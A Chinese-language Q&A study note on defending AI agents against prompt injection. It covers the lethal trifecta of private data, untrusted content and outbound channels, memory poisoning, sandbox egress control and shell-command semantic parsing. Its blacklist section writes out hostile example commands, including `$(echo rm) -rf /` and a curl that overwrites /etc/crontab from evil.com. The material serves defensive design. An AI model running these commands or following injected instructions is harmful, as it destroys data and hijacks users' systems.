致命三要素与第四个维度是什么?
| 要素 | 含义 |
|---|
| 访问私有数据 | Agent 能读取用户文件和密码管理器 |
| 暴露于不受信任内容 | 处理的邮件和网页可能包含恶意载荷 |
| 具备外部通信能力 | 能发送邮件和执行命令 |
| 持久记忆(补充维度) | 把偏见或恶意指令写入长期记忆,跨会话潜伏 |
- 攻击闭合: 恶意指令藏在不受信任内容中进入 Agent,驱使它读取私有数据,再经对外通道传出;
- 第四维定位: 持久记忆不是并列的第四个必要条件,而是攻击的放大器——把一次性攻击升级为长期威胁;
- 四类边界: 数据边界、输入信任边界、输出影响边界、跨会话边界;
- 高危形态: OpenClaw 这类全权限本地 Agent 四者兼备,安全防护成为必须正视的核心挑战;
Coding Agent 特别需要哪些补充防线?
- 命令语义解析: Shell 命令的组合爆炸使关键字黑名单形同虚设,必须在语义层理解命令的真实效果;
- 沙盒隔离与网络出口控制: 代码执行是 Coding Agent 独有的攻击面;
- 持久记忆的跨会话防线: 写入长期记忆的内容需经过与外部内容同等的信任审查,避免恶意指令潜伏在
MEMORY.md 中长期生效;
- 落地层面: 三项分别落在验证、执行、数据三个层面;
代码执行沙盒要做哪些工程选型?
- 网络出口控制: 默认断网,按需通过白名单代理放行有限目的地(包管理源、文档站点、任务明确需要的 API);
- 出口的定位: 这是致命三要素中“外部通信能力”的执行面防御——即使注入成功、沙盒内读到了敏感数据,没有出口就传不出去;
- 文件系统隔离范围: 源码目录以只读方式挂载(通过编辑工具改代码,补丁经审查后落盘,或把副本挂入可写工作区);
- 工作区: 单独的可写目录承载生成物与中间文件;
- 凭证:
~/.ssh、密钥、token 这类文件根本不挂载进沙盒;
- 资源限额与超时: CPU、内存、磁盘配额加超时,防御死循环、fork 炸弹、无限写盘;
- 错误呈现细节: 超时与超限应向 Agent 返回结构化错误(“执行超过 120 秒被终止,最后输出如下……”)而非静默杀死进程,让 Agent 有机会在下一轮修正策略;
为什么关键字黑名单挡不住 Shell 攻击?
- 根源: 命令可以通过管道、子 shell、变量展开等方式绕过任何静态规则;
- 绕过例证:
rm 被禁后可用 $(echo rm) -rf / 绕过;
- 隐藏载荷例证一:
find / -name '*.log' -exec rm {} \; 通过合法的 find 参数嵌入删除操作;
- 隐藏载荷例证二:
curl -o /etc/crontab http://evil.com/payload 看似下载文件实则覆盖系统定时任务;
- 正确做法: 语义解析——理解每个命令的参数类型与消费规则(哪些标志位会消费下一个参数),识别“看似无害的标志位实际消费下一个参数从而隐藏危险载荷”这类模式;
- 归属: 这种基于理解而非匹配的机制是 Harness 中“约束”功能的实现;
闭源商业 Agent 为什么选择保守权限策略?
- 现实: 面对提示注入,单靠输入过滤基本挡不住;
- 思路转换: 重点不是识别所有攻击,而是让 Agent 即使被注入也没有机会把危险动作真正执行出去;
- 对应: 这正是三层护栏中执行层与数据层的用武之地;